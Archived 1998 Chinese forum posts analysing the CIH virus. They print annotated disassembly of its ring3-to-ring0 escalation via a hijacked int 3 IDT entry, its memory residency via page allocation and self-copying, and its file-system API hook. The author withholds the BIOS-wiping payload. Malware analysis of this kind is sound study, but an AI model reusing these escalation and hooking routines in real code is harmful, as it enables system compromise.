精华区 [关闭][返回]

当前位置:网易精华区>>讨论区精华>>电脑技术>>● 电脑病毒>>☆关于CIH☆>>CIH解析

主题:CIH解析
发信人: crazydiamond()
整理人: emil(1999-08-16 19:33:56), 站内信件
呵呵,眼看CIH成了大热门,俺也来凑凑热闹.有时间的话,我会分几次
把CIH的主要代码Post出来.请高手多多指教.
当然,危险代码比如写bios的就不贴了.
(一)从ring3 to  ring0

:00000000 push ebp
:00000001 lea eax, dword ptr [esp-08]
:00000005 xor ebx, ebx
:00000007 xchg dword ptr fs:[ebx], eax
:0000000A call 0000000F
:0000000F pop ebx
:00000010 lea ecx, dword ptr [ebx+42]
:00000013 push ecx
:00000014 push eax
:00000015 push eax      
:00000016 sidt [esp-02]         ;得到中断描述符表
                                ;8字节
:0000001B pop ebx
:0000001C add ebx, 0000001C     ;中断3的描述符
:0000001F cli
:00000020 mov ebp, dword ptr [ebx]
:00000022 mov bp, word ptr [ebx-04]
:00000026 lea esi, dword ptr [ecx+12]
:00000029 push esi
:0000002A mov word ptr [ebx-04], si
:0000002E shr esi, 10
:00000031 mov word ptr [ebx+02], si     ;修改,使指向程序中
:00000035 pop esi
:00000036 int 03
        ;int03后,系统由Ring3转到Ring0状态,由于int3
        ;代码在病毒内,故实际已取得系统级权利。


--待续--



--
                        ............

※ 来源:.广州网易 BBS bbs.nease.net.[FROM: ppp432.hz.zj.cn]
发信人: crazydiamond (心灵游戏), 信区: Virus
标  题: CIH解析(二)--驻留
发信站: 广州网易 BBS (Sun Oct 25 01:38:35 1998), 转信

接上回:
:00000036 int 03                                        ;跳到 00000063 处
.......
:00000063 je 00000097            ;判断是否第二次调用?  是则跳转
:00000065 mov ecx,dr0                   
:00000068 jecxz 0000007A                 ;驻留判断, 若dr0零则继续
:0000006A add dword ptr [esp], 00000015
:0000006E mov word ptr [ebx-04], bp     
:00000072 shr ebp, 10
:00000075 mov word ptr [ebx+02], bp     ;恢复原来的Int3 返回
:00000079 iret

:0000007A mov dr0,ebx
:0000007D push 0000000F
:0000007F push ecx
:00000080 push FFFFFFFF
:00000082 push ecx
:00000083 push ecx
:00000084 push ecx
:00000085 push 00000001
:00000087 push 00000002
:00000089 vxdcall _PageAllocate
:0000008F add esp, 20
:00000091 xchg eax,edi                  ;edi 指向分配的页地址
:00000093 lea eax,[esi-63]
:00000096 iret                          ;返回00000037
.......
:00000037 push esi                      ;eax 指向病毒代码开始处 : 00000000
:00000038 mov esi, eax
:0000003A mov ecx, dword ptr [eax-04]
:0000003D repz
:0000003E movsb
:0000003F sub eax, 00000008
:00000042 mov esi, dword ptr [eax]
:00000044 or esi, esi
:00000046 je 0000004A
:00000048 jmp 0000003A
                ;病毒体将自身从宿主程序里抽出,复制到分配的内存页,完成驻留
                ;病毒体信息是按   
                ;partN起始,partN长度,......,part1起始,part1长度
                ;从病毒代码起始(即00000000)向前排列的,各占1字长
:0000004A ......





--
                        ............

※ 来源:.广州网易 BBS bbs.nease.net.[FROM: 202.96.101.254]
发信人: crazydiamond (心灵游戏), 信区: Virus
标  题: CIH解析(三)--Hook
发信站: 广州网易 BBS (Sun Oct 25 01:43:36 1998), 转信

接上回:
:0000004A pop esi
:0000004B int 03                ;第二次进入ring0,截获IFS_APIHOOK
......

:00000063 je 00000097            ;判断是否第二次调用?  是则跳转
......
:00000097 lea eax, dword ptr [edi+FFFFFCF7]             
:0000009D push eax
:0000009E vxdcall IFSMgr_InstallFileSystemApiHook
                                ;加入IFS_ApiHook 指向000000e2

:000000A4 mov dr0,eax   ;保存旧的ApiHook
:000000A7 pop eax
:000000A8 mov ecx, dword ptr [esi+3D]
:000000AB mov edx, dword ptr [ecx]
:000000AD mov dword ptr [eax-04], edx
:000000B0 lea eax, dword ptr [eax-2A]
:000000B3 mov dword ptr [ecx], eax      
                ;修改IFSMgr_InstallFileSystemApiHook函数入口指向000000b8
:000000B5 cli
:000000B6 jmp 0000006E
......

:0000006E mov word ptr [ebx-04], bp     
:00000072 shr ebp, 10
:00000075 mov word ptr [ebx+02], bp     ;恢复原来的Int3 返回0000004c
:00000079 iret
......

:0000004C sti
:0000004D xor ebx, ebx
:0000004F jmp 00000058
:00000051 xor ebx, ebx
:00000053 mov eax, dword ptr fs:[ebx]
:00000056 mov esp, dword ptr [eax]
:00000058 pop dword ptr fs:[ebx]
:0000005B pop eax
:0000005C pop ebp
:0000005D push 01002210         ;宿主程序原起始地址,因被感染程序而异
:00000062 ret                           ;返回控制

自此,病毒接管系统。


--
                        ............

※ 来源:.广州网易 BBS bbs.nease.net.[FROM: 202.96.101.254]

[关闭][返回]